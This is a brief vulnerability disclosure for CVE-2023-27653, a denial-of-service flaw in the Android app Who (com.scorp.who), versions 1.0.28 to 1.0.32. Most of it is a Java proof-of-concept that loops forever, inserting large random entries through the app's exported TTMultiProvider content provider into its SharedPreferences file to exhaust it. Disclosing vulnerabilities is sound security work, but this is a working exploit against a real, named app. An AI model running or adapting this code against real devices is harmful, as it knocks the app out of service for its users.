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Denial of Service exists in WHO(CVE-2023-27653)

Vendor:WHO(https://www.whoapp.live/)

Affected product:Who(com.scorp.who)

Version:1.0.28, 1.0.30, 1.0.32

Download link:https://play.google.com/store/apps/details?id=com.scorp.who

Description of the vulnerability for use in the CVE:An issue found in WHOv.1.0.28, v.1.0.30, v.1.0.32 allows an attacker to cause a denial of service via the SharedPreference files.

poc:

public void attack(){
    ContentResolver contentResolver = this.getApplicationContext().getContentResolver();
    String randomString =getRandomString(512);
    Uri uri = Uri.parse("content://com.scorp.who.TTMultiProvider/t_sp/contain/" + "zztest" + "?sp_file_name=com.scorp.who_preferences");
    while (true) {
        ContentValues contentValues = new ContentValues();
        contentValues.put(randomString,randomString);
        contentResolver.insert(uri,contentValues);
    }
}